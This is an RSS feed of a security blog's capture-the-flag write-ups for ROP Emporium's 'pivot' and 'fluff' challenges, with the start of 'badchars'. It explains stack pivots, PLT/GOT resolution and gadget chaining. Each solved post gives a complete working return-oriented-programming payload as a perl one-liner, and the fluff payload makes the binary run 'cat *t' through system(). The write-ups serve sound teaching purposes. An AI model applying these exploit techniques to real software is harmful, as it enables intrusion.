<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>KLamp Works</title>
    <description>My blog, mostly about programming, security, privacy and Unixy things.
</description>
    <link>http://klamp.works/</link>
    <atom:link href="http://klamp.works/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Wed, 05 Aug 2020 16:01:48 +0000</pubDate>
    <lastBuildDate>Wed, 05 Aug 2020 16:01:48 +0000</lastBuildDate>
    <generator>Jekyll v3.1.6</generator>
    
      <item>
        <title>ROP Emporium CTF 7/7 pivot</title>
        <description>&lt;p&gt;This challenge uses a different &lt;code class=&quot;highlighter-rouge&quot;&gt;pwnme&lt;/code&gt; function to other ROP Emporium challenges.
First &lt;code class=&quot;highlighter-rouge&quot;&gt;main()&lt;/code&gt; will &lt;code class=&quot;highlighter-rouge&quot;&gt;malloc&lt;/code&gt; a &lt;code class=&quot;highlighter-rouge&quot;&gt;0x1000000&lt;/code&gt; byte buffer and then send the address to &lt;code class=&quot;highlighter-rouge&quot;&gt;pwnme()&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./pivot -qc &quot;aa ; pdf @sym.main&quot;
/ (fcn) main 165
|   int main (int argc, char **argv, char **envp);
...
|           0x004009ee      mov edi, 0x1000000
|           0x004009f3      call sym.imp.malloc
...
|           0x00400a0e      mov rdi, rax
|           0x00400a11      call sym.pwnme
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then &lt;code class=&quot;highlighter-rouge&quot;&gt;pwnme()&lt;/code&gt;, reads &lt;code class=&quot;highlighter-rouge&quot;&gt;0x100&lt;/code&gt; bytes into the &lt;code class=&quot;highlighter-rouge&quot;&gt;malloc&lt;/code&gt;ed buffer and &lt;code class=&quot;highlighter-rouge&quot;&gt;0x40&lt;/code&gt; into a stack buffer.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./pivot -qc &quot;aa ; pdf @sym.pwnme&quot;
/ (fcn) sym.pwnme 167
|   sym.pwnme (int32_t arg1);
...
|           0x00400a3f      sub rsp, 0x30
|           0x00400a43      mov qword [rbp-0x28], rdi
|           0x00400a47      lea rax, [rbp-0x20]
...
|           0x00400a96      mov rdx, qword [obj.stdin]
|
|           0x00400a9d      mov rax, qword [rbp-0x28]
|           0x00400aa1      mov esi, 0x100
|           0x00400aa6      mov rdi, rax
|           0x00400aa9      call sym.imp.fgets
...
|           0x00400ac7      mov rdx, qword [obj.stdin]
|           0x00400ace      lea rax, [rbp-0x20]
|           0x00400ad2      mov esi, 0x40
|           0x00400ad7      mov rdi, rax
|           0x00400ada      call sym.imp.fgets
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The offsets for the stack buffer overflow are the same as previous challenges.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ perl -e &#39;print(&quot;\n&quot; . (&quot;\x00&quot; x 0x28) . &quot;fedcba&quot;)&#39; |
  gdb ./pivot --batch -ex run
pivot by ROP Emporium
64bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7ffff7bf1f10
Send your second chain now and it will land there
&amp;gt; Now kindly send your stack smash
&amp;gt;
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As stated in the output, the goal this time is to call &lt;code class=&quot;highlighter-rouge&quot;&gt;ret2win()&lt;/code&gt; from &lt;code class=&quot;highlighter-rouge&quot;&gt;libpivot.so&lt;/code&gt; so there is no &lt;code class=&quot;highlighter-rouge&quot;&gt;usefulFunction()&lt;/code&gt; this time but there is &lt;code class=&quot;highlighter-rouge&quot;&gt;usefulGadgets&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./pivot -qc &quot;is&quot; | grep useful
076 0x00000b00 0x00400b00 GLOBAL NOTYPE    0 usefulGadgets

$ r2 ./pivot -qc &quot;pd 8 @ 0x00400b00&quot;
            ;-- usefulGadgets:
            0x00400b00      58             pop rax
            0x00400b01      c3             ret
            0x00400b02      4894           xchg rax, rsp
            0x00400b04      c3             ret
            0x00400b05      488b00         mov rax, qword [rax]
            0x00400b08      c3             ret
            0x00400b09      4801e8         add rax, rbp
            0x00400b0c      c3             ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After the overflow we only have 24 bytes of payload left (3 words). So the first thing we need to do is put the rest of the exploit in the &lt;code class=&quot;highlighter-rouge&quot;&gt;malloc&lt;/code&gt;ed buffer and modify the stack pointer to point there. This is called a stack pivot.&lt;/p&gt;

&lt;p&gt;In &lt;code class=&quot;highlighter-rouge&quot;&gt;usefulGadgets&lt;/code&gt;, the &lt;code class=&quot;highlighter-rouge&quot;&gt;xchg rax, rsp&lt;/code&gt; one is exactly what we need but we also need the address of the &lt;code class=&quot;highlighter-rouge&quot;&gt;malloc&lt;/code&gt;ed buffer in &lt;code class=&quot;highlighter-rouge&quot;&gt;rax&lt;/code&gt; first.&lt;/p&gt;

&lt;p&gt;Reading &lt;code class=&quot;highlighter-rouge&quot;&gt;pwnme()&lt;/code&gt; again shows that the buffer address (in &lt;code class=&quot;highlighter-rouge&quot;&gt;rdi&lt;/code&gt;) is copied to a local variable on the stack&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;|           0x00400a43      mov qword [rbp-0x28], rdi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;and when we smash the stack, &lt;code class=&quot;highlighter-rouge&quot;&gt;rax&lt;/code&gt; contains the address of another stack variable&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;|           0x00400ace      lea rax, [rbp-0x20]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So the &lt;code class=&quot;highlighter-rouge&quot;&gt;pop rax&lt;/code&gt; gadget is a red herring, all we need to do is add &lt;code class=&quot;highlighter-rouge&quot;&gt;-8&lt;/code&gt; to what is already in &lt;code class=&quot;highlighter-rouge&quot;&gt;rax&lt;/code&gt; to get the address of the local variable pointing to the &lt;code class=&quot;highlighter-rouge&quot;&gt;malloc&lt;/code&gt; buffer.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;add rax, rbp&lt;/code&gt; is a clue, because before the overflow overwrites the return address on the stack, it overwrites the stored &lt;code class=&quot;highlighter-rouge&quot;&gt;rbp&lt;/code&gt; which is &lt;code class=&quot;highlighter-rouge&quot;&gt;pop&lt;/code&gt;ed into the &lt;code class=&quot;highlighter-rouge&quot;&gt;rbp&lt;/code&gt; register on &lt;code class=&quot;highlighter-rouge&quot;&gt;ret&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;+----------------------------------+
|              Stack               |
+----------------------------------+
| saved rip                        |
+----------------------------------+
| saved rbp             (rbp)      |
+----------------------------------+
|               ...                |
|               ...                |
|               ...                |
| stack buffer          (rbp-0x20) |
+----------------------------------+
| malloc buffer pointer (rbp-0x28) |
+----------------------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The first stage rop chain just to do the stack pivot looks like this:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;&quot;\n&quot;               # skip the `malloc` buffer input for now
&quot;\x00&quot; x 0x20      # junk
0xfffffffffffffff8 # -8 =&amp;gt; rbp
0x0000000000400b09 # add rax, rbp
0x0000000000400b05 # mov rax, qword [rax]
0x0000000000400b02 # xchg rax, rsp

$ perl -e &#39;print(&quot;\n&quot; .
                (&quot;\x00&quot; x 0x20) .
                 &quot;\xf8\xff\xff\xff\xff\xff\xff\xff&quot; .
                 &quot;\x09\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x05\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x02\x0b\x40\x00\x00\x00\x00\x00&quot;)&#39; |
  gdb ./pivot --batch -ex run -ex &quot;info registers&quot; |
  grep -e bestow -e rsp
The Old Gods kindly bestow upon you a place to pivot: 0x7ffff7bf1f10
rsp            0x7ffff7bf1f18   0x7ffff7bf1f18
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The reason the GDB output is 8 bytes off is because the CPU has &lt;code class=&quot;highlighter-rouge&quot;&gt;pop&lt;/code&gt;ed the first word into &lt;code class=&quot;highlighter-rouge&quot;&gt;rip&lt;/code&gt; before segfaulting, therefor incrementing &lt;code class=&quot;highlighter-rouge&quot;&gt;rsp&lt;/code&gt; by 8.&lt;/p&gt;

&lt;p&gt;Unfortunately for us the &lt;code class=&quot;highlighter-rouge&quot;&gt;ret2win()&lt;/code&gt; function is not imported in the ELF.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./pivot -qc &quot;ii&quot;
[Imports]
Num  Vaddr       Bind      Type Name
   1 0x004007f0  GLOBAL    FUNC free
   2 0x00000000    WEAK  NOTYPE _ITM_deregisterTMCloneTable
   3 0x00400800  GLOBAL    FUNC puts
   4 0x00400810  GLOBAL    FUNC printf
   5 0x00400820  GLOBAL    FUNC memset
   6 0x00400830  GLOBAL    FUNC __libc_start_main
   7 0x00400840  GLOBAL    FUNC fgets
   8 0x00000000    WEAK  NOTYPE __gmon_start__
   9 0x00400850  GLOBAL    FUNC foothold_function
  10 0x00400860  GLOBAL    FUNC malloc
  11 0x00400870  GLOBAL    FUNC setvbuf
  12 0x00000000    WEAK  NOTYPE _Jv_RegisterClasses
  13 0x00400880  GLOBAL    FUNC exit
  14 0x00000000    WEAK  NOTYPE _ITM_registerTMCloneTable
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That means no legitimate code in the application calls it. Most people gloss over this part and jump straight to the obvious solution without understanding why it works. But the thing about junk hacking is that getting to a solution is not the point. It’s about learning something.&lt;/p&gt;

&lt;p&gt;When an ELF binary is launched by the OS, it is copied from disk into memory. If the ELF file is dynamically linked against shared libraries then the libraries also need to be copied into memory. But the important property of shared libraries is that they can be updated independently of the applications which use them so the address of functions inside the library are not known to the application at compile time.&lt;/p&gt;

&lt;p&gt;So when the ELF file is executed, the loader (&lt;code class=&quot;highlighter-rouge&quot;&gt;ld.so&lt;/code&gt;) could create a big table with the address of every function in the shared libraries (called &lt;code class=&quot;highlighter-rouge&quot;&gt;BIND_NOW&lt;/code&gt; mode). However it is slow and the application probably doesn’t call all them functions every time it executes anyway. So the default behaviour is for the loader to fill that table with links to a function in the loader itself which will figure out where the desired library function is and cache the address so next time the function is called the CPU goes straight to the function instead of &lt;code class=&quot;highlighter-rouge&quot;&gt;ld.so&lt;/code&gt; again.&lt;/p&gt;

&lt;p&gt;The way this is implemented is with two tables the Procedure Linkage Table (&lt;code class=&quot;highlighter-rouge&quot;&gt;.plt&lt;/code&gt;) and Global Offset Table .plt (&lt;code class=&quot;highlighter-rouge&quot;&gt;.got.plt&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;The simple way to think of it is &lt;code class=&quot;highlighter-rouge&quot;&gt;.plt&lt;/code&gt; is code and &lt;code class=&quot;highlighter-rouge&quot;&gt;.got.plt&lt;/code&gt; is just a list of addresses (data). We can see this reflected in the permissions:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./pivot -qc &quot;iS&quot; | grep -e &#39; .plt$&#39; -e &#39; .got.plt&#39;
12 0x000007e0   176 0x004007e0   176 -r-x .plt
24 0x00002000   104 0x00602000   104 -rw- .got.plt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So calling a library function from the application actually executes the &lt;code class=&quot;highlighter-rouge&quot;&gt;.plt&lt;/code&gt; entry for that function and the &lt;code class=&quot;highlighter-rouge&quot;&gt;.plt&lt;/code&gt; code will &lt;code class=&quot;highlighter-rouge&quot;&gt;jmp&lt;/code&gt; to a corresponding address in the &lt;code class=&quot;highlighter-rouge&quot;&gt;.got.plt&lt;/code&gt; table. In the beginning, that &lt;code class=&quot;highlighter-rouge&quot;&gt;.got.plt&lt;/code&gt; address will point somewhere into &lt;code class=&quot;highlighter-rouge&quot;&gt;ld.so&lt;/code&gt;. The &lt;code class=&quot;highlighter-rouge&quot;&gt;ld.so&lt;/code&gt; code will figure out where the library function actually is and write that address to the &lt;code class=&quot;highlighter-rouge&quot;&gt;.got.plt&lt;/code&gt;. So the next time the &lt;code class=&quot;highlighter-rouge&quot;&gt;.plt&lt;/code&gt; code &lt;code class=&quot;highlighter-rouge&quot;&gt;jmp&lt;/code&gt;s to the address in the &lt;code class=&quot;highlighter-rouge&quot;&gt;.got.plt&lt;/code&gt;, it will go straight to the library function instead of &lt;code class=&quot;highlighter-rouge&quot;&gt;ld.so&lt;/code&gt; again.&lt;/p&gt;

&lt;p&gt;When solving this challenge I drew diagrams to help myself understand it:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;---------------[ 1st call to foothold_function .plt (0x00400850 ]---------------

+-----------------------+    qword [0x00602048]     +-------------------------+
|   0x00400850 (.plt)   |--------------------------&amp;gt;|  0x00602048 (.got.plt)  |
| imp.foothold_function |&amp;lt;--------------------------| reloc.foothold_function |
| jmp qword [0x602048]  |          0x00400856       |    (qword)0x00400856    |
+-----------------------+                           +-------------------------+
           | jmp
           v
  +-------------------+
  | 0x00400856 (.plt) |
  |        ...        |
  +-------------------+
           | jmp
           v
       +---------+  mov qword ... 0x7fd25eed7970   +-------------------------+
       | (ld.so) |--------------------------------&amp;gt;|  0x00602048 (.got.plt)  |
       |   ...   |                                 | reloc.foothold_function |
       +---------+                                 |      0x7fd25eed7970     |
           | jmp                                   +-------------------------+
           v
+------------------------------+
| 0x7fd25eed7970 (libpivot.so) |
|      foothold_function       |
|             ...              |
+------------------------------+
-------------------------------------[ end ]------------------------------------

--------------[ 1+Nth call to foothold_function .plt (0x00400850 ]--------------

+-----------------------+    qword [0x00602048]     +-------------------------+
|   0x00400850 (.plt)   |--------------------------&amp;gt;|  0x00602048 (.got.plt)  |
| imp.foothold_function |&amp;lt;--------------------------| reloc.foothold_function |
| jmp qword [0x602048]  |        0x7fd25eed7970     |      0x7fd25eed7970     |
+-----------------------+                           +-------------------------+
           | jmp
           v
+------------------------------+
| 0x7fd25eed7970 (libpivot.so) |
|      foothold_function       |
|             ...              |
+------------------------------+
-------------------------------------[ end ]------------------------------------
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now that we understand how shared library functions are called, the obvious solution is to&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;call the &lt;code class=&quot;highlighter-rouge&quot;&gt;foothold_function&lt;/code&gt; to get its address into &lt;code class=&quot;highlighter-rouge&quot;&gt;.got.plt&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;measure difference between &lt;code class=&quot;highlighter-rouge&quot;&gt;foothold_function&lt;/code&gt; address and &lt;code class=&quot;highlighter-rouge&quot;&gt;ret2win&lt;/code&gt; address&lt;/li&gt;
  &lt;li&gt;add difference to &lt;code class=&quot;highlighter-rouge&quot;&gt;foothold_function&lt;/code&gt; address from &lt;code class=&quot;highlighter-rouge&quot;&gt;.got.plt&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;jmp&lt;/code&gt; to new address&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is how we can calculate the offset of the two library functions&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ nm libpivot.so | grep -e foothold_function -e ret2win
0000000000000970 T foothold_function
0000000000000abe T ret2win
$ printf 0x%016x $((0xabe - 0x970))
0x000000000000014e
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And this is what our second rop chain looks like&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x0000000000400850 ; foothold_function
0x0000000000400948 ; pop rbp
0x000000000000014e ; 0x14e =&amp;gt; rbp
0x0000000000400b00 ; pop rax
0x0000000000602048 ; .got.plt[foothold_function] =&amp;gt; rax
0x0000000000400b05 ; mov rax, qword [rax] (dereference pointer)
0x0000000000400b09 ; add rax, rbp
0x00000000004008f5 ; jmp rax
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And this is how we can execute it in practice:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ perl -e &#39;print(&quot;\x50\x08\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x48\x09\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x4e\x01\x00\x00\x00\x00\x00\x00&quot; .
                 &quot;\x00\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x48\x20\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\x05\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x09\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\xf5\x08\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\n&quot; .
                 (&quot;\x00&quot; x 0x20) .
                 &quot;\xf8\xff\xff\xff\xff\xff\xff\xff&quot; .
                 &quot;\x09\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x05\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x02\x0b\x40\x00\x00\x00\x00\x00&quot;)&#39; |
  LD_LIBRARY_PATH=. ./pivot
pivot by ROP Emporium
64bits

Call ret2win() from libpivot.so
The Old Gods kindly bestow upon you a place to pivot: 0x7f09d6dd3f10
Send your second chain now and it will land there
&amp;gt; Now kindly send your stack smash
&amp;gt; foothold_function(), check out my .got.plt entry to gain a foothold into libpivot.soROPE{a_placeholder_32byte_flag!}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;(The flag is all the way to the right because there is no newline printed before)&lt;/p&gt;
</description>
        <pubDate>Fri, 05 Jul 2019 19:36:20 +0000</pubDate>
        <link>http://klamp.works/2019/07/05/ropemp-pivot.html</link>
        <guid isPermaLink="true">http://klamp.works/2019/07/05/ropemp-pivot.html</guid>
        
        
      </item>
    
      <item>
        <title>ROP Emporium CTF 6/7 fluff</title>
        <description>&lt;p&gt;This challenge uses a similar &lt;code class=&quot;highlighter-rouge&quot;&gt;pwnme&lt;/code&gt; function to other ROP Emporium challenges.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ perl -e &#39;print((&quot;\x00&quot; x 0x28) . &quot;fedcba&quot;)&#39; |
  gdb ./fluff --batch -ex run
fluff by ROP Emporium
64bits

You know changing these strings means I have to rewrite my solutions...
&amp;gt;
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Looking at the symbols we don’t have &lt;code class=&quot;highlighter-rouge&quot;&gt;usefulGadgets&lt;/code&gt; this time.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./fluff -qc &quot;is&quot; | grep useful
039 0x00000807 0x00400807  LOCAL   FUNC   17 usefulFunction

$ r2 ./fluff -qc &quot;aa ; pdf @sym.usefulFunction&quot;
/ (fcn) sym.usefulFunction 17
|   sym.usefulFunction ();
|           0x00400807      55             push rbp
|           0x00400808      4889e5         mov rbp, rsp
|           0x0040080b      bf5b094000     mov edi, str.bin_ls
|           0x00400810      e8cbfdffff     call sym.imp.system
|           0x00400815      90             nop
|           0x00400816      5d             pop rbp
\           0x00400817      c3             ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But there are some &lt;code class=&quot;highlighter-rouge&quot;&gt;questionableGadgets&lt;/code&gt; which appear to be useful gadgets mixed with less useful instructions.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./fluff -qc &quot;is&quot; | grep -i gadget
067 0x00000820 0x00400820 GLOBAL NOTYPE    0 questionableGadgets

$ r2 ./fluff -qc &quot;pd 21 @ 0x00400820&quot;
            ;-- questionableGadgets:
            0x00400820      pop r15
            0x00400822      xor r11, r11
            0x00400825      pop r14
            0x00400827      mov edi, loc.data_start     ; loc.__data_start
                                                        ; 0x601050
            0x0040082c      ret
            0x0040082d      pop r14
            0x0040082f      xor r11, r12
            0x00400832      pop r12
            0x00400834      mov r13d, 0x604060          ; &#39;`@`&#39;
            0x0040083a      ret
            0x0040083b      mov edi, loc.data_start     ; loc.__data_start
                                                        ; 0x601050
            0x00400840      xchg r11, r10
            0x00400843      pop r15
            0x00400845      mov r11d, 0x602050          ; &#39;P `&#39;
            0x0040084b      ret
            0x0040084c      pop r15
            0x0040084e      mov qword [r10], r11
            0x00400851      pop r13
            0x00400853      pop r12
            0x00400855      xor byte [r10], r12b
            0x00400858      ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Building a working exploit from these pieces is a little convoluted.&lt;/p&gt;

&lt;p&gt;Working backwards, our last 2 gadgets need to be:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;mov edi, 0x601050
system()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Next we need to get our exploit string into &lt;code class=&quot;highlighter-rouge&quot;&gt;0x601050&lt;/code&gt;. There are 2 gadgets for writing registers to memory:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;mov qword [r10], r11
xor byte [r10], r12b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We’ll go for the &lt;code class=&quot;highlighter-rouge&quot;&gt;mov&lt;/code&gt; because it is &lt;code class=&quot;highlighter-rouge&quot;&gt;mov&lt;/code&gt;ing 8 bytes at once whereas the &lt;code class=&quot;highlighter-rouge&quot;&gt;xor&lt;/code&gt; gadget is only copying a single byte.
To make it work we need [1] &lt;code class=&quot;highlighter-rouge&quot;&gt;0x601050&lt;/code&gt; in &lt;code class=&quot;highlighter-rouge&quot;&gt;r10&lt;/code&gt; and [2] our exploit string in &lt;code class=&quot;highlighter-rouge&quot;&gt;r11&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For [1] there are no gadgets to &lt;code class=&quot;highlighter-rouge&quot;&gt;mov&lt;/code&gt; &lt;code class=&quot;highlighter-rouge&quot;&gt;0x601050&lt;/code&gt; into a general purpose register but we can copy a close number (&lt;code class=&quot;highlighter-rouge&quot;&gt;0x602050&lt;/code&gt;) and then &lt;code class=&quot;highlighter-rouge&quot;&gt;xor&lt;/code&gt; by &lt;code class=&quot;highlighter-rouge&quot;&gt;0x3000&lt;/code&gt; to turn the &lt;code class=&quot;highlighter-rouge&quot;&gt;0x2050&lt;/code&gt; part into &lt;code class=&quot;highlighter-rouge&quot;&gt;0x1050&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;mov r11d, 0x602050
pop r12 ...
0x3000
xor r11, r12
xchg r11, r10
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For [2] we first need to come up with an exploit string. Keeping it under 8 bytes will save us from duplicating parts of the rop chain. So instead of &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;/bin/cat flag.txt&quot;&lt;/code&gt; we can abuse shell globbing and knowledge that only two files exist in the &lt;code class=&quot;highlighter-rouge&quot;&gt;bin/&lt;/code&gt; directory, &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;fluff&quot;&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;flag.txt&quot;&lt;/code&gt; (run the exploit with &lt;code class=&quot;highlighter-rouge&quot;&gt;ls&lt;/code&gt; first if you think that “knowing” the directory layout is too close to cheating). With that in mind we can exploit shell globbing to capture only the flag file with less than 8 bytes &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;cat *t&quot;&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;pop r12 ...
0x0000742a20746163 (&quot;cat *t&quot;)
xor r11, r11 (0x00 =&amp;gt; r11)
xor r11, r12 (r12 =&amp;gt; r11)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now finally we can do the &lt;code class=&quot;highlighter-rouge&quot;&gt;mov qword&lt;/code&gt; to get our exploit string into the right memory address.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;mov qword [r10], r11
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Interleaving the various gadgets so they don’t clobber each other is another mini challenge. The final rop chain I came up with looks like this:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x0000000000400845 # mov r11d, 0x602050
0x0000000000400832 # pop r12 ; mov r13d, 0x604060
0x0000000000003000 #
0x000000000040082f # xor r11, r12 ; pop r12 ; mov r13d, 0x604060
0x0000742a20746163 # &quot;cat *t&quot; =&amp;gt; r12
0x0000000000400840 # xchg r11, r10 ; pop r15 ; mov r11d, 0x602050
0x0000000000000000 # =&amp;gt; r15
0x0000000000400822 # xor r11, r11 ; pop r14 ; mov edi, 0x601050
0x0000000000000000 # =&amp;gt; r14
0x000000000040082f # xor r11, r12 ; pop r12 ; mov r13d, 0x604060
0x0000000000000000 # =&amp;gt; r12
0x000000000040084e # mov qword [r10], r11 ; pop r13 ; pop r12 ; xor byte [r10], r12b
0x0000000000000000 # =&amp;gt; r13
0x0000000000000000 # =&amp;gt; r12
0x0000000000400810 # =&amp;gt; system()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;See the earlier &lt;code class=&quot;highlighter-rouge&quot;&gt;split&lt;/code&gt; challenge for code to convert addresses to the form below.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;perl -e &#39;print((&quot;\x00&quot; x 0x28) .
               &quot;\x45\x08\x40\x00\x00\x00\x00\x00&quot; .
               &quot;\x32\x08\x40\x00\x00\x00\x00\x00&quot; .
               &quot;\x00\x30\x00\x00\x00\x00\x00\x00&quot; .
               &quot;\x2f\x08\x40\x00\x00\x00\x00\x00&quot; .
               &quot;\x63\x61\x74\x20\x2a\x74\x00\x00&quot; .
               &quot;\x40\x08\x40\x00\x00\x00\x00\x00&quot; .
               &quot;\x00\x00\x00\x00\x00\x00\x00\x00&quot; .
               &quot;\x22\x08\x40\x00\x00\x00\x00\x00&quot; .
               &quot;\x00\x00\x00\x00\x00\x00\x00\x00&quot; .
               &quot;\x2f\x08\x40\x00\x00\x00\x00\x00&quot; .
               &quot;\x00\x00\x00\x00\x00\x00\x00\x00&quot; .
               &quot;\x4e\x08\x40\x00\x00\x00\x00\x00&quot; .
               &quot;\x00\x00\x00\x00\x00\x00\x00\x00&quot; .
               &quot;\x00\x00\x00\x00\x00\x00\x00\x00&quot; .
               &quot;\x10\x08\x40\x00\x00\x00\x00\x00&quot;)&#39; | ./fluff
fluff by ROP Emporium
64bits

You know changing these strings means I have to rewrite my solutions...
&amp;gt; ROPE{a_placeholder_32byte_flag!}
Segmentation fault
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</description>
        <pubDate>Fri, 07 Jun 2019 19:36:20 +0000</pubDate>
        <link>http://klamp.works/2019/06/07/ropemp-fluff.html</link>
        <guid isPermaLink="true">http://klamp.works/2019/06/07/ropemp-fluff.html</guid>
        
        
      </item>
    
      <item>
        <title>ROP Emporium CTF 5/7 badchars</title>
        <description>&lt;p&gt;This challenge has a different &lt;code class=&quot;highlighter-rouge&quot;&gt;pwnme&lt;/code&gt; function to the previous ones.
The stack buffer overflow part is similar (&lt;code class=&quot;highlighter-rouge&quot;&gt;0x200&lt;/code&gt; bytes).&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt; $ perl -e &#39;print((&quot;\x00&quot; x 0x28) . &quot;aaaaa&quot;)&#39; |
   gdb ./badchars --batch -ex run
 badchars by ROP Emporium
 64bits
 
